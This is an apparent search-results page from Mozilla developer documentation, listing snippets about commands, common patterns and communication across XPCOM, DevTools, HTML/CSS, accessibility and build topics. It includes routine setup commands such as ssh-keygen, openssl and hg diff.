History Service Design
each visit is associated with a favicon, to allow for better recognizability and groupable by common timeframes or domains.
...the system should be customizable enough to allow creation of custom, calendar and graphical views based on queries executed through a common api upon underlying data.
... the querying system allows to extract slices of data based on common patterns, this is directly usable by the end user, but also by implementers to provide a variety of nice features.
...And 7 more matches
nsIController
content/xul/document/public/nsicontroller.idlscriptable an interface that can be implemented to receive and process commands and events.
... inherits from: nsisupports last changed in gecko 1.7 method overview void docommand(in string command); boolean iscommandenabled(in string command); void onevent(in string eventname); boolean supportscommand(in string command); methods docommand() when this method is called, your implementation should execute the command with the specified name.
... void docommand( in string command ); parameters command the name of the command to execute.
...And 7 more matches
nsIMsgMessageService
dow amsgwindow, in nsiurllistener aurllistener, in string acharsetoverride, out nsiuri aurl); void openattachment(in string acontenttype, in string afilename, in string aurl, in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener); void savemessagetodisk(in string amessageuri, in nsifilespec afile, in boolean ageneratedummyenvelope, in nsiurllistener aurllistener, out nsiuri aurl, in boolean canonicallineending, in nsimsgwindow amsgwindow); void geturlforuri(in string amessageuri, out nsiuri aurl, in nsimsgwindow amsgwindow); void displaymessageforprinting(in string amessageuri, in nsisupports adisplayconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, out nsiuri aurl); ...
...void search(in nsimsgsearchsession asearchsession, in nsimsgwindow amsgwindow, in nsimsgfolder amsgfolder, in string asearchuri); nsiuri streammessage(in string amessageuri, in nsisupports aconsumer, in nsimsgwindow amsgwindow, in nsiurllistener aurllistener, in boolean aconvertdata, in string aadditionalheader); nsiuri streamheaders(in string amessageuri, in nsistreamlistener aconsumer, in nsiurllistener aurllistener [optional] in boolean alocalonly); boolean ismsginmemcache(in nsiuri aurl, in nsimsgfolder afolder, out nsicacheentrydescriptor acacheentry); nsimsgdbhdr messageuritomsghdr(in string uri); methods copymessage() pass in the uri for the message you want to have copied.
... void savemessagetodisk(in string amessageuri, in nsifilespec afile, in boolean ageneratedummyenvelope, in nsiurllistener aurllistener, out nsiuri aurl, in boolean canonicallineending, in nsimsgwindow amsgwindow); parameters amessageuri url representing the message to spool out to disk.
...And 7 more matches
Browser Console - Firefox Developer Tools
nb: the browser console command line (to execute javascript expressions) is disabled by default.
... you can also start the browser console by launching firefox from the command line and passing the -jsconsole argument: /applications/firefoxaurora.app/contents/macos/firefox-bin -jsconsole the browser console looks like this: you can see that the browser console looks and behaves very much like the web console: most of the window is occupied by a pane that display messages.
... at the bottom, a command line interpreter enables you to evaluate javascript expressions.
...And 7 more matches
Index - Firefox Developer Tools
found 158 pages: # page tags and summary 1 firefox developer tools developing mozilla, guide, tools, web development, web development:tools, l10n:priority firefox developer tools is a set of web developer tools built into firefox.
... 41 dominators with a garbage-collected language, like javascript, the programmer doesn't generally have to worry about deallocating memory.
... 127 search to search for a particular file, press control + p (or command + p on a mac) and type the search term.
...And 7 more matches
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
inside this context, whitespace character processing can be summarized as follows: first, all spaces and tabs immediately before and after a line break are ignored so, if we take our example markup from before and apply this first rule, we get: <h1>◦◦◦hello⏎ <span>◦world!</span>⇥◦◦</h1> next, all tab characters are handled as space characters, so the example becomes: <h1>◦◦◦hello⏎ <span>◦world!</span>◦◦◦</h1> ...
... next, line breaks are converted to spaces: <h1>◦◦◦hello◦<span>◦world!</span>◦◦◦</h1> after that, any space immediately following another space (even across two separate inline elements) is ignored, so we end up with: <h1>◦hello◦<span>world!</span>◦</h1> and finally, sequences of spaces at the beginning and end of a line are removed, so we finally get this: <h1>hello◦<span>world!</span></h1> this is why people visiting the web page will simply see the phrase "hello world!" nicely written at the top of the page, rather than a weirdly indented "hello" followed but an even more weirdly indented "world!" on the line below that.
... </div> </body> we can summarize how the whitespace here is handled as follows (the may be some slight differences in exact behavior between browsers, but this basically works): because we’re inside a block formatting context, everything must be a block, so our 3 text nodes also become blocks, just like the 2 <div>s.
...And 7 more matches
PerformanceNavigationTiming - Web APIs
the interface also supports the following properties: performancenavigationtiming.domcomplete read only a domhighrestimestamp representing a time value equal to the time immediately before the browser sets the current document readiness of the current document to complete.
... performancenavigationtiming.domcontentloadedeventend read only a domhighrestimestamp representing the time value equal to the time immediately after the current document's domcontentloaded event completes.
... performancenavigationtiming.domcontentloadedeventstart read only a domhighrestimestamp representing the time value equal to the time immediately before the user agent fires the domcontentloaded event at the current document.
...And 7 more matches
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
note: most diagrams used in this article to show how the camera moves while performing standard movements was taken from an article on the filmmakeriq web site; namely, from this image which is found all over the web, however, and though we assume these are under a permissive license due to their frequent reuse, ownership is not certain.
...thus, instead of referring to an actual camera object, the term camera is used in webgl and webxr programming to refer to an object describing the position and viewing direction of a hypothetical viewer of the scene, whether there's an actual object present in 3d space or not.
...some examples of ways 3d cameras are used: when rendering animation—whether for filmmaking or for use within the context of a presentation or game—the virtual camera is used just like a real-world film camera.
...And 7 more matches
Web Authentication API - Web APIs
web authentication concepts and usage the web authentication api (also referred to as webauthn) uses asymmetric (public-key) cryptography instead of passwords or sms texts for registering, authenticating, and second-factor authentication with websites.
...similar to the other forms of the credential management api, the web authentication api has two basic methods that correspond to register and login: navigator.credentials.create() - when used with the publickey option, creates new credentials, either for registering a new account or for associating a new asymmetric key pair credentials with an existing account.
...note most javascript programmers that are creating an application will only really care about steps 1 and 5 where the create() function is called and subsequently returns; however, steps 2, 3, and 4 are essential to understanding the processing that takes place in the browser and authenticator and what the resulting data means.
...And 7 more matches
WindowOrWorkerGlobalScope.setInterval() - Web APIs
this syntax is not recommended for the same reasons that make using eval() a security risk.
...lse, bstart = true, nidx = 0, spart = "", asheets = [], amap = []; this.rate = nrate || 100; this.play = function () { if (btyping) { return; } if (bstart) { var aitems = document.queryselectorall(sselector); if (aitems.length === 0) { return; } for (var nitem = 0; nitem < aitems.length; nitem++) { asheets.push(new sheet(aitems[nitem])); /* uncomment the following line if you have previously hidden your elements via css: */ // aitems[nitem].style.visibility = "visible"; } bstart = false; } nintervid = setinterval(typewrite, this.rate); btyping = true; }; this.pause = function () { clearinterval(nintervid); btyping = false; }; this.terminate = function () { ocurrent.nodevalue += spart;...
...phasellus adipiscing fermentum nibh ac commodo.
...And 7 more matches
Cognitive accessibility - Accessibility
though there is a lot of diversity within clinical definitions of cognitive impairments, people with them experience a common set of functional problems.
...if the time limit is longer than 20 hours, accommodations are not required.
... link text conveys meaning the link's text should clearly and concisely communicate what the user should expect to be navigated to next if they choose to activate it.
...And 7 more matches
font-variant-ligatures - CSS: Cascading Style Sheets
syntax /* keyword values */ font-variant-ligatures: normal; font-variant-ligatures: none; font-variant-ligatures: common-ligatures; /* <common-lig-values> */ font-variant-ligatures: no-common-ligatures; /* <common-lig-values> */ font-variant-ligatures: discretionary-ligatures; /* <discretionary-lig-values> */ font-variant-ligatures: no-discretionary-ligatures; /* <discretionary-lig-values> */ font-variant-ligatures: historical-ligatures; /* <historical-lig-values> */ font-variant-ligatur...
... none this keyword specifies that all ligatures and contextual forms are disabled, even common ones.
... <common-lig-values> these values control the most common ligatures, like for fi, ffi, th or similar.
...And 7 more matches
<length> - CSS: Cascading Style Sheets
WebCSSlength
when used within the root element font-size, it represents its initial value (a common browser default is 16px, but user-defined preferences may modify this).
...the consequence of this definition is that on such devices, dimensions described in inches (in), centimeters (cm), or millimeters (mm) don't necessary match the size of the physical unit with the same name.
... for high-dpi devices, inches (in), centimeters (cm), and millimeters (mm) are the same as their physical counterparts.
...And 7 more matches
HTML attribute: multiple - HTML: Hypertext Markup Language
most browsers displaying a scrolling list box for a <select> control with the multiple attribute set versus a single line dropdown when the attribute is ommitted.
... the email input displays the same, but will match the :invalid pseudo-class if more than one comma-separated email address is included if the attribute is not present.
... when multiple is set on the email input type, the user can inlclude zero (if not also required), one or more comma-separated email addresses.
...And 7 more matches
HTML attribute reference - HTML: Hypertext Markup Language
checked <command>, <input> indicates whether the element should be checked on page load.
... class global attribute often used with css to style elements with common properties.
...allowed values are ltr (left-to-right) or rtl (right-to-left) dirname <input>, <textarea> disabled <button>, <command>, <fieldset>, <input>, <keygen>, <optgroup>, <option>, <select>, <textarea> indicates whether the user can interact with the element.
...And 7 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
WebHTMLElementimg
below is a list of the image formats that are most commonly used on the web, as well as some older formats that should no longer be used, despite existing content possibly still using them.
... loading indicates how the browser should load the image: eager: loads the image immediately, regardless of whether or not the image is currently within the visible viewport (this is the default value).
... sizes one or more strings separated by commas, indicating a set of source sizes.
...And 7 more matches
<input type="email"> - HTML: Hypertext Markup Language
WebHTMLElementinputemail
value a domstring representing an e-mail address, or empty events change and input supported common attributes autocomplete, list, maxlength, minlength, multiple, name,pattern, placeholder, readonly, required, size, and type idl attributes list and value methods select() value the <input> element's value attribute contains a domstring which is automatically validated as conforming to e-mail syntax.
... if and only if the multiple attribute is specified, the value can be a list of properly-formed comma-separated e-mail addresses.
...ibutes: attribute description list the id of the <datalist> element that contains the optional pre-defined autocomplete options maxlength the maximum number of characters the input should accept minlength the minimum number of characters long the input can be and still be considered valid multiple whether or not to allow multiple, comma-separated, e-mail addresses to be entered pattern a regular expression the input's contents must match in order to be valid placeholder an exemplar value to display in the input field whenever it is empty readonly a boolean attribute indicating whether or not the contents of the input should be read-only size a number indicating how many characters...
...And 7 more matches
Using the application cache - HTML: Hypertext Markup Language
cache manifest # v1 - 2011-08-13 # this is a comment.
... the "v1" comment in the example above is there for a good reason.
...you can make any change you want to the manifest file, but revising a version number is the recommended best practice.
...And 7 more matches
Codecs used by WebRTC - Web media technologies
the webrtc api makes it possible to construct web sites and apps that let users communicate in real time, using audio and/or video as well as optional data and other information.
... to communicate, the two devices need to be able to agree upon a mutually-understood codec for each track so they can successfully communicate and present the shared media.
... while compression is always a necessity when dealing with media on the web, it's of additional importance when videoconferencing in order to ensure that the participants are able to communicate without lag or interruptions.
...And 7 more matches
page-mod - Archive of obsolete content
communicating with content scripts your add-on's "main.js" can't directly access the state of content scripts you load, but you can communicate between your add-on and its content scripts by exchanging messages.
... to learn much more about communicating with content scripts, see the guide to content scripts and in particular the chapter on communicating using port.
...the scripts are executed immediately.
...And 6 more matches
Getting started (cfx) - Archive of obsolete content
this tutorial walks through creating a simple add-on using the cfx command-line tool.
...once you've done that, you'll be looking at a command prompt.
... initializing an empty add-on in the command prompt, create a new directory.
...And 6 more matches
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
this article is aimed at presenting alternatives to common eval uses in add-ons and other javascript code.
... overriding/extending/amending existing functions a common thing add-ons do during their initialization is overriding/extending existing browser functions by using function.tostring/function.tosource and eval to "string-patch" the function body.
... // wrap in an anonymous function (which is called immediately).
...And 6 more matches
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
this model of web navigation is so common that most internet users do little else.
...html and web standards have evolved and now offer flexible and fine-grained control to layout as well supporting dhtml, powerful programming languages like javascript, and additional media through embeddable third-party resources like flash, java, vrml, etc.
...in other words, the page is the browsing device during the experience, and the user is "immersed" in that browsing device.
...And 6 more matches
Source code directories overview - Archive of obsolete content
introduction: common subdirectories a common naming scheme is used throughout the mozilla source trees.
...the third level is where the common naming scheme usually takes over.
...although not required, these common names are typically used for a common purpose.
...And 6 more matches
The new nsString class implementation (1999) - Archive of obsolete content
no one has ever devised one that more than 2 programmers can agree on.
...this very useful class allows programmers to take advantage of the nsstring/nsstrimpl implementation, while eliminating heap based allocations.
...this will allow programmers to use the nsstring api's like a standard char* without incurring the 2-byte per character overhead.
...And 6 more matches
XUL Structure - Archive of obsolete content
to summarize the points made above: mozilla renders both html and xul using the same underlying engine and uses css to specify their presentation.
...these are the -chrome command line argument and the chrome modifier to the window.open() function.
...you will commonly use this feature in more complex xul applications since you wouldn't want the browser ui to exist around your dialog boxes.
...And 6 more matches
button - Archive of obsolete content
attributes accesskey, autocheck, checkstate, checked, command, crop, dir, disabled, dlgtype, group, icon, image, label, open, orient, tabindex, type properties accesskey, accessibletype, autocheck, checkstate, checked, command, crop, dir, disabled, dlgtype, group, image, label, open, orient, tabindex, type examples <button label="press me" oncommand="alert('you pressed me!');"/> attributes accesskey type: character this sho...
... command type: id set to the id of a command element that is being observed by the element.
...if the element is disabled, it does not respond to user actions, it cannot be focused, and the command event will not fire.
...And 6 more matches
splitter - Archive of obsolete content
the vbox is used to hold the .png image that a user clicks on to resize the search bar.--> <splitter tooltiptext="resize the search box" oncommand="alert('the splitter was dragged')"> <vbox id="example_vbox" /> </splitter> attributes collapse type: one of the values below determines which side of the splitter is collapsed when its grippy is clicked.
... before when the grippy is clicked, the element immediately before the splitter in the same parent is collapsed so that its width or height is 0.
... after when the grippy is clicked, the element immediately after the splitter in the same parent is collapsed so that its width or height is 0.
...And 6 more matches
XULRunner 1.8.0.1 Release Notes - Archive of obsolete content
installing xulrunner mozilla provides xulrunner for windows, mac os x, and linux, in english: download xulrunner for windows download xulrunner for mac os x download xulrunner for linux windows unpack the zip file to a new directory using a archive tool (7zip is recommended).
... the following directory is recommended: c:\program files\mozilla xulrunner\1.8.0.1 .
... to register xulrunner with the system, open a command prompt and run xulrunner.exe --register-global (to register for all users) or xulrunner.exe --register-user (to register for one user only).
...And 6 more matches
Extentsions FAQ - Archive of obsolete content
return to mozilla-dev-extensions faq friday, september 22 - 29, 2006 (↑ top) how to write an xpcom component in c++ that can communicate to a com component?
... these two links should give you a starting point: http://www..xulplanet.com/tutorials/...u/advmenu.html http://www.xulplanet.com/tutorials/x...dommodify.html request for a thunderbird extension that can automatically detect the default domain when composing e-mails via autodetect.
... <https://bugzilla.mozilla.org/show_bug.cgi?id=312818> "thunderbird requires domain in addresses and doesn't always add default" there is an extension that allows what you want attached to one of the comments in this bug.
...And 6 more matches
Building a Theme - Archive of obsolete content
an example of the content within a typical xpi file for a theme: example.xpi: /install.rdf /chrome.manifest /preview.png /icon.png /chrome/ browser/ communicator/ global/ mozapps/ we'll want to create a file structure similar to the one above for our tutorial, so let's begin by creating a folder for your theme somewhere on your hard disk (e.g.
... browser to chrome/browser/ communicator to chrome/communicator/ you should end up with this directory structure: <ext path>/ /install.rdf /chrome.manifest /chrome/ browser/ communicator/ global/ mozapps/ after this, it would be a good idea to read the article setting up extension development environment and follow the directio...
... if you get a message that the install.rdf is malformed, it is helpful to load it into firefox using the file->open file command and it will report xml errors to you.
...And 6 more matches
Using SSH to connect to CVS - Archive of obsolete content
the following command should generate a suitable key pair: ssh-keygen -t dsa this will take a moment, followed by a prompt for a passphrase.
... if you are behind a firewall with an http tunneling proxy, you can use a program called corkscrew, in combination with the proxycommand ssh config directive to continue to access the mozilla cvs server.
...corkscrew uses the standard "./configure; make install" technique common to many open source projects.
...And 6 more matches
Mobile accessibility - Learn web development
summary of screenreader testing on android and ios the most common mobile platforms have fully functional screen readers.
... using the rotor when voiceover is turned on, you have a navigation feature called the rotor available to you, which allows you to quickly choose from a number of common useful options.
... in particular, the most common problems that need to be addressed for mobile are: suitability of layouts for mobile devices.
...And 6 more matches
WAI-ARIA basics - Learn web development
for example, html5 introduced a number of semantic elements to define common page features (<nav>, <footer>, etc.) before these were available, developers would simply use <div>s with ids or classes, e.g.
... <div class="nav">, but these were problematic, as there was no easy way to easily find a specific page feature such as the main navigation programmatically.
...role="navigation" (<nav>) or role="complementary" (<aside>), but there are also others that describe different pages structures, such as role="banner", role="search", role="tabgroup", role="tab", etc., which are commonly found in uis.
...And 6 more matches
What is accessibility? - Learn web development
some screen reader examples include: some are paid commercial products, like jaws (windows) and dolphin screen reader (windows).
...importantly, though there is a lot of diversity within clinical definitions of cognitive impairments, people with them experience a common set of functional problems.
...citizens have a disability and, of them, cognitive impairment is the most common for young people.
...And 6 more matches
Document and website structure - Learn web development
it's a place to put common information (like the header) but usually, that information is not critical or secondary to the website itself.
...if]--> </head> <body> <!-- here is our main header that is used across all the pages of our website --> <header> <h1>header</h1> </header> <nav> <ul> <li><a href="#">home</a></li> <li><a href="#">our team</a></li> <li><a href="#">projects</a></li> <li><a href="#">contact</a></li> </ul> <!-- a search form is another commmon non-linear way to navigate through a website.
...all rights reversed.</p> </footer> </body> </html> take some time to look over the code and understand it — the comments inside the code should also help you to understand it.
...And 6 more matches
Client-Server Overview - Learn web development
previous overview: first steps next now that you know the purpose and potential benefits of server-side programming we're going to examine in detail what happens when a server receives a "dynamic request" from a browser.
...this discussion is however still very relevant, because the described behaviour must be implemented by your server-side code, irrespective of which programming language or web framework you select.
... web servers and http (a primer) web browsers communicate with web servers using the hypertext transfer protocol (http).
...And 6 more matches
Using Vue computed properties - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/command line.
... using computed properties the aim here is to add a summary count of our to-do list.
...if we have 2 of 5 items completed in our to-do list, our summary could read "3 items completed out of 5".
...And 6 more matches
Mozilla accessibility architecture
this page is maintained by aaron leventhal and by the mozilla accessibility community.
...accessibility apis on each operating system have built-in assumptions about what is the most important information, and how an accessibility server like mozilla should use the api's programmatic interfaces to expose this information to an accessibility client (the assistive technology).
... each platform's accessibility api has made different assumptions, although there are a number of common characteristics.
...And 6 more matches
How Mozilla's build system works
the contents below will explain the basic concepts and terminology of the build system and how to do common tasks such as compiling components and creating jar files.
... config.status contains 2 parts: data structures representing the output of configure and a command-line interface for preparing, configuring, or generating an appropriate build backend.
... to view information about the tiers, you can execute the following special make targets: command effect make echo-tiers show the final list of tiers.
...And 6 more matches
Displaying Places information using views
it also contains the built-in places context menu and commands, which you may want to take advantage of in your own uses of the views.
...the following stylesheet is optional and only applies styles and icons to the built-in tree view: <?xml-stylesheet href="chrome://browser/skin/places/places.css" ?> for examples of instantiating a tree view from javascript rather than xul, see programmatic generation of the built-in tree view.
... var treeviewview = treeview.view; convenience methods because the built-in tree view is both widely used and complex, several convenience methods are implemented directly on it to make common tasks easier.
...And 6 more matches
Add-on Repository
the api also offers two ways to search for and retrieve an array of addon instances: retrieverecommendedaddons(), which returns a list of recommended add-ons, and searchaddons(), which performs a search of the repository.
...a new search will immediately fail if the addonrepository is already handling another search request.
... to import the add-on repository code module, use: components.utils.import("resource://gre/modules/addonrepository.jsm"); method overview string getrecommendedurl() string getsearchurl(in string searchterms) void cancelsearch() void retrieverecommendedaddons(in integer maxresults, in searchcallback callback) void searchaddons(in string searchterms, in integer maxresults, in searchcallback callback) properties property type description homepageurl string the url of the repository site's home page.
...And 6 more matches
Downloads.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/downloads.jsm"); method overview promise<download> createdownload(object aproperties); promise<void> fetch(asource, atarget, [optional] object aoptions); promise<downloadlist> getlist(atype); promise<downloadsummary> getsummary(atype); constants constant description public work on downloads that were not started from a private browsing window.
...some of the most common properties in this object include: source: string containing the uri for the download source.
... this download method does not provide user interface or the ability to cancel or restart the download programmatically.
...And 6 more matches
Interfacing with the Add-on Repository
this article provides some sample code that queries the recommended add-ons list on amo and lets the user click a button to install an add-on from the list.
... enabling the recommendation feature in current builds of firefox 4, the recommendation api doesn't work because the preference for the url to query to get recommended add-ons is not included by default; see bug 628785.
... to make the service work for the time being, you can use code like this when your extension starts up: var prefsservice = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice); var prefbranch = prefsservice.getbranch("extensions."); var recurl = ""; try { recurl = prefbranch.getcharpref("getaddons.recommended.url"); } catch(e) { recurl = ""; } if (recurl == "") { prefbranch.setcharpref("getaddons.recommended.url", "https://services.addons.mozilla.org/%locale%/%app%/api/%api_version%/list/recommended/all/%max_results%/%os%/%version%?src=firefox"); prefsservice.savepreffile(null); } this fetches the value of the extensions.getaddons.recommended.url preference, and, if the preference ...
...And 6 more matches
PromiseWorker.jsm
summary a promiseworker is a chromeworker except instead of calling postmessage() to send a message, you call post(), which returns a promise.
... promiseworker.jsm path: resource://gre/modules/promiseworker.jsm a javascript code module used by the main thread to create a worker thread and communicate with it.
... promiseworker.js path: resource://gre/modules/workers/promiseworker.js a javascript file used by the worker thread, which is created by promiseworker.jsm in main thread, to communicate with the main thread.
...And 6 more matches
Using JavaScript code modules
creating a javascript code module a very simple javascript module looks like this: var exported_symbols = ["foo", "bar"]; function foo() { return "foo"; } var bar = { name : "bar", size : 3 }; var dummy = "dummy"; notice that the module uses normal javascript to create functions, objects, constants, and any other javascript type.
...for example: components.utils.import("resource://app/my_module.jsm"); alert(foo()); // displays "foo" alert(bar.size + 3); // displays "6" alert(dummy); // displays "dummy is not defined" because 'dummy' was not exported from the module note: when you're testing changes to a code module, be sure to change the application's build id (e.g., the version) before your next test run; otherwise, you may find yourself running the previous version of your module's code.
... examples a template to download and edit is seen here on github - gists - _template-bootstrapjsm.xpi extending resource: urls prior to gecko 2.0, the most common way to load code modules was using resource: urls.
...And 6 more matches
MathML Demo: <mo> - operator, fence, separator, or accent
this growth is continuous and symmetric.
...2 2 ⌋ ⁢ ⌈ k 1 2 2 ⌉ ⁢ | k 1 2 2 | ⁢ ∥ k 1 2 2 ∥ and / k 1 2 2 / ⁢ \ k 1 2 2 \ ↕ k 1 2 2 ↕ ⇕ k 1 2 2 ⇕ ↑ k 1 2 2 ↑ ⁢ ⇑ k 1 2 2 ⇑ ↓ k 1 2 2 ↓ ⇓ k 1 2 2 ⇓ generally, it is safest to script all attributes that configure an <mo> as a fence (fence, stretchy, symmetric, lspace, rspace).
...⁢ ( m ⁢ m ) ⁢ m ⁢ { m ⁢ m } ⁢ m ⁢ ⟨ m ⁢ m ⟩ ⁢ m ⁢ | m ⁢ m | ⁢ m ⁢ m m ⁢ [ m ⁢ m ⁢ m ] + ( m ⁢ m ) + { m ⁢ m } + ⟨ m ⁢ m ⟩ + | m ⁢ m | ⁢ m ⁢ m m ⁢ [ m ⁢ m ⁢ m ] ⁢ ( m ⁢ m ) ⁢ { m ⁢ m } ⁢ ⟨ m ⁢ m ⟩ ⁢ | m ⁢ m | ⁢ m ⁢ m in latex, all fencing symbols are symmetric - they have equal extent above and below the math axis of the run of math in which they occur directly.
...And 6 more matches
Profiling with Xperf
to see your xperf version, either run 'xperf' on a command line with no arguments, or start 'xperfview' and look at help -> about performance analyzer.
...just make sure you set the symbol paths before enabling "load symbols" and before opening a summary view.
...if you change it within the program, you'll have to close all summary tables and reopen them for it to pick up the new symbol path data.
...And 6 more matches
Patches and pushes
>yahoo search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> ***this tag is optional***<url type="application/x-suggestions+json" method="get" template="http://ff.search.yahoo.com/gossip?output=fxjson&amp;command={searchterms}" />*** <url type="text/html" method="get" template="http://search.yahoo.com/search"> <param name="p" value="{searchterms}"/> <param name="ei" value="utf-8"/> <mozparam name="fr" condition="pref" pref="yahoo-fr" /> </url> <searchform>http://search.yahoo.com/</searchform> </searchplugin> create xml files for each search plugin preference following the above example.
... create a patch of the searchplugins directory by entering the following command in your command-line tool, where mypatch.diff is where you give your patch a name: $ hg add mozilla/browser/searchplugins/ $ hg diff mozilla/browser/searchplugins/ > mypatch.diff attach your patch file to the bug by clicking the "add an attachment" link.
... review, commit, & land address any review comments made by the reviewers and update the patch until it receives an r+ rating.
...And 6 more matches
NSS Tools pk12util
synopsis pk12util -i p12file [-h tokenname] [-v] [common-options] or pk12util -o p12file -n certname [-c keycipher] [-c certcipher] [-m | --key_len keylen] [-n | --cert_key_len certkeylen] [common-options] or pk12util -l p12file [-h tokenname] [-r] [common-options] where [common-options] = [-d dir] [-p dbprefix] [-k slotpasswordfile | -k slotpassword] [-w p12filepasswordfile | -w p12filepassword] syntax to run the pkcs #12 tool, type ther...
... command pk12util option [arguments] where option and arguments are combinations of the options and arguments listed in the following section.
... three of the options, -i, -o, and -l, should be considered commands of the pk12util invocation.
...And 6 more matches
SpiderMonkey Build Documentation
mkdir build_opt.obj cd build_opt.obj /bin/sh ../configure.in # use "mozmake" on windows make a few notes about this: the most common build problems are dependency problems.
...refer the release notes under command line tools -> new features the release notes also states that this compatibility package will no longer be provided in the near future, so the build system on macos will have to be adapted to look for headers in the sdk until then, the following should help, open /library/developer/commandlinetools/packages/macos_sdk_headers_for_macos_10.14.pk this builds an executable named js in the ...
... on mac, linux, or unix, you can install spidermonkey on your system with the additional command make install.
...And 6 more matches
A Web PKI x509 certificate primer
one issue that is not commonly known is that the x509 trust graph is not a forest (a bunch of trees where each root is a trusted root) but a cyclic graph, where the same key/issuer can be a root or an intermediate for another root in the browsers key store (when roots create intermediates for each other it is called cross-signing).
...generate the key using the following command: openssl genpkey -algorithm rsa -out key.pem -pkeyopt rsa_keygen_bits:2048 2048 is considered secure for the next 4 years.
...generate csr using this command: openssl req -new -key key.pem -days 1096 -extensions v3_ca -batch -out example.csr -utf8 -subj '/cn=www.example.com' this creates a new certificate signing request (csr) that will be valid for 3 years.
...And 6 more matches
Setting up an update server
there are two common ways to obtain a mar to use: download a prebuilt one, or build one yourself.
...these changes will need to be made in order to use the locally built mar: put this line in the mozconfig file in root of the build directory (create it if it does not exist): ac_add_options --disable-verify-mar several files contain a line that must be uncommented.
...delete the # at the beginning of the line to uncomment it.
...And 6 more matches
Introduction to XPCOM for the DOM
i recommend that book to all the beginners out there.
... interfaces object-oriented programming is based on the used of inheritance between classes.
...indeed, many interfaces in the mozilla code are frozen (this is indicated by the comment @frozen at the beginning of the interface definition).
...And 6 more matches
Observer Notifications
if your component requires access to the user profile, or any services which require access to the profile (preferences, bookmarks, and so on) then a common pattern is to register with the nsicategorymanager for the app-startup topic which can be done in the component's registration code, and then in that notification register with the observer service for the profile-after-change notification.
... topic subject data description chrome-document-global-created nsidomwindow null sent immediately after a chrome document window has been set up, but before any script code has been executed.
... content-document-global-created nsidomwindow origin sent immediately after a web content document window has been set up, but before any script code has been executed.
...And 6 more matches
nsIMsgDatabase
mailnews/db/msgdb/public/nsimsgdatabase.idlscriptable please add a summary to this article.
... last changed in gecko 1.9 (firefox 3) inherits from: nsidbchangeannouncer method overview void open(in nsilocalfile afoldername, in boolean acreate, in boolean aleaveinvaliddb); void forcefolderdbclosed(in nsimsgfolder afolder); void close(in boolean aforcecommit); void commit(in nsmsgdbcommit committype); void forceclosed(); void clearcachedhdrs; void resethdrcachesize(in unsigned long size); nsimsgdbhdr getmsghdrforkey(in nsmsgkey key); nsimsgdbhdr getmsghdrformessageid(in string messageid); boolean containskey(in nsmsgkey key); nsimsgdbhdr createnewhdr(in nsmsgkey key); void addnewhdrtodb(in nsimsgdbhdr newhdr, in boolean notify); nsimsgdbhdr copyhdrfromexistinghdr(in nsmsgkey key, in nsimsgdbhdr existinghdr, in boolean addhdrtodb); void listallkeys(in ...
... void deletemessage(in nsmsgkey key, in nsidbchangelistener instigator, in boolean commit); void deleteheader(in nsimsgdbhdr msghdr, in nsidbchangelistener instigator,in boolean commit, in boolean notify); void removeheadermdbrow(in nsimsgdbhdr msghdr); void undodelete(in nsimsgdbhdr msghdr); void markmarked(in nsmsgkey key, in boolean mark, in nsidbchangelistener instigator); void markoffline(in nsmsgkey key, in boolean offline, in nsidbchangelistener instigator); void ...
...And 6 more matches
Plug-in Basics - Plugins
with the plug-in api, you can create dynamically loaded plug-ins that can: register one or more mime types draw into a part of a browser window receive keyboard and mouse events obtain data from the network using urls post data to urls add hyperlinks or hotspots that link to new urls draw into sections on an html page communicate with javascript/dom from native code you can see which plug-ins are installed on your system and have been properly associated with the browser by consulting the installed plug-ins page.
... advanced: you can determine which directories a gecko program checks with the linux strace command, for example: strace -e open /usr/bin/firefox 2>&1 | grep plugin but with version firefox-41.0.2 we can not check.
...i checked also this command with above script (with environment variable) on my system and also working.
...And 6 more matches
HTMLTableElement - Web APIs
if a correct object is given, it is inserted in the tree immediately before the first element that is neither a <caption>, nor a <colgroup>, or as the last child if there is no such element, and the first <thead> that is a child of this element is removed from the tree, if any.
...if a correct object is given, it is inserted in the tree immediately before the first element that is neither a <caption>, a <colgroup>, nor a <thead>, or as the last child if there is no such element, and the first <tfoot> that is a child of this element is removed from the tree, if any.
... htmltableelement.summary is a domstring containing a description of the purpose or the structure of the table.
...And 6 more matches
KeyboardEvent: code values - Web APIs
029 "backquote" "backquote" 0x002a "shiftleft" "shiftleft" 0x002b "backslash" "backslash" 0x002c "keyz" "keyz" 0x002d "keyx" "keyx" 0x002e "keyc" "keyc" 0x002f "keyv" "keyv" 0x0030 "keyb" "keyb" 0x0031 "keyn" "keyn" 0x0032 "keym" "keym" 0x0033 "comma" "comma" 0x0034 "period" "period" 0x0035 "slash" "slash" 0x0036 "shiftright" "shiftright" 0x0037 "numpadmultiply" "numpadmultiply" 0x0038 "altleft" "altleft" 0x0039 "space" "space" 0x003a "capslock" "capslock" 0x003b "f1" "f1" 0x003c "f2" "f2" 0x003d ...
...intlro" "" 0x0074, 0x0075 "unidentified" "" 0x0076 "f24" "" 0x0077, 0x0078 "unidentified" "" 0x0079 "convert" "" 0x007a "unidentified" "" 0x007b "nonconvert" "" 0x007c "unidentified" "" 0x007d "intlyen" "intlyen" 0x007e "numpadcomma" "" 0x007f "unidentified" "" 0xe000 ~ 0xe007 "unidentified" "" 0xe008 "unidentified" "undo" 0xe009 "unidentified" "" 0xe00a "" "paste" 0xe00b ~ 0xe00f "" "" 0xe010 "mediatrackprevious" "mediatrackprevious" 0xe011 ~ 0xe016 "" "" ...
